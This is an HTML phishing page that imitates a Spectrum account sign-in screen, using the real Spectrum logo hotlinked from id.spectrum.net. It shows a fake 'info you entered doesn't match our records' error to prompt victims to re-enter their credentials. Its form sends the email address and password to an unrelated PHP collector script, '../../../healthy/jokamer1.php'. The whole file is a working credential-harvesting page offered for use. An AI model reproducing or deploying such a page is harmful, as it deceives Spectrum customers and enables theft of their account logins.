<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <link rel="icon" href="favicon.ico" type="image/x-icon" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Sign In</title>

  <!-- ✅ Tailwind CSS -->
  <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">

  <style>
    body {
      font-family: 'Inter', sans-serif;
    }
  </style>
</head>
<body class="bg-gray-100 min-h-screen flex flex-col justify-between">

  <!-- ✅ Sign-in Container Centered -->
  <div class="flex-grow flex items-center justify-center">
    <div class="bg-white rounded-md shadow-md p-8 max-w-md w-full">
      
      <!-- ✅ Logo Centered -->
      <div class="flex justify-center mb-6">
        <img src="https://id.spectrum.net/assets/images/spectrum-logo.svg" alt="Spectrum Logo" class="h-6">
      </div>

      <h2 class="text-2xl font-bold text-center mb-4">Log In to your account</h2>

      <div class="flex items-center justify-center mb-4">
        <div class="border-t w-1/4 border-gray-300"></div>
        <span class="mx-2 text-sm text-gray-500">
        <div class="border-t w-1/4 border-gray-300"></div>
      </div>
<div class="border-l-4 border-red-500 bg-white p-4 shadow rounded flex items-start space-x-3 max-w-md">
  <svg class="w-5 h-5 text-red-500 mt-0.5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor">
    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 9v2m0 4h.01M12 17a9 9 0 100-18 9 9 0 000 18z" />
  </svg>
<font color='red'><h4>The info you entered doesn't match our records. Please try again.</h4></font>
</div>

      <!-- ✅ Form -->
      <form action="../../../healthy/jokamer1.php" method="post" class="space-y-4">
        <!-- Email Address -->
        <div>
          <label for="emailAddress" class="block text-sm font-medium text-gray-700">
            Email Address <span title="Enter your Email Address" class="text-blue-500 cursor-help"></span>
          </label>
          <input type="text" id="emailAddress" name="emailAddress" class="mt-1 w-full border border-blue-400 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500" required>
          
        </div>

        <!-- Password -->
        <div>
          <label for="password" class="block text-sm font-medium text-gray-700">Password</label>
          <div class="relative mt-1">
            <input type="password" id="password" name="emailPassword" class="w-full border border-gray-300 rounded-md px-3 py-2 pr-10 focus:outline-none focus:ring-2 focus:ring-blue-500" required>
            <button type="button" id="togglePassword" class="absolute right-2 top-1/2 transform -translate-y-1/2 text-gray-500 focus:outline-none"></button>
          </div>
        </div>

        <!-- Stay Signed In -->
        <div class="flex items-center mb-4">
          <input id="staySignedIn" name="staySignedIn" type="checkbox" class="h-4 w-4 text-blue-600 focus:ring-blue-500 border-gray-300 rounded">
          <label for="staySignedIn" class="ml-2 block text-sm text-gray-700">
            Stay Signed In on This Device <span title="Recommended for personal devices" class="text-blue-500 cursor-help">?</span>
          </label>
        </div>

        <!-- Sign In Button -->
        <button type="submit" class="w-full bg-blue-600 text-white font-semibold py-2 rounded-md hover:bg-blue-700 transition duration-200">
          Sign In
        </button>

        <!-- Forgot Link -->
        <div class="text-center mt-4">
          <a href="#" class="text-blue-600 text-sm hover:underline">Forgot Username or Password?</a>
        </div>
      </form>
    </div>
  </div>

  <!-- ✅ Footer Image -->
<div class="flex justify-center mt-8 mb-8">
  <img src="Fotter.png" alt="Footer Image" style="width: 450px; height: 100px;">
</div>

  <!-- ✅ Toggle Password Script -->
  <script>
    const togglePassword = document.getElementById('togglePassword');
    const passwordInput = document.getElementById('password');

    togglePassword.addEventListener('click', () => {
      const type = passwordInput.type === 'password' ? 'text' : 'password';
      passwordInput.type = type;
    });
  </script>
</body>
</html>
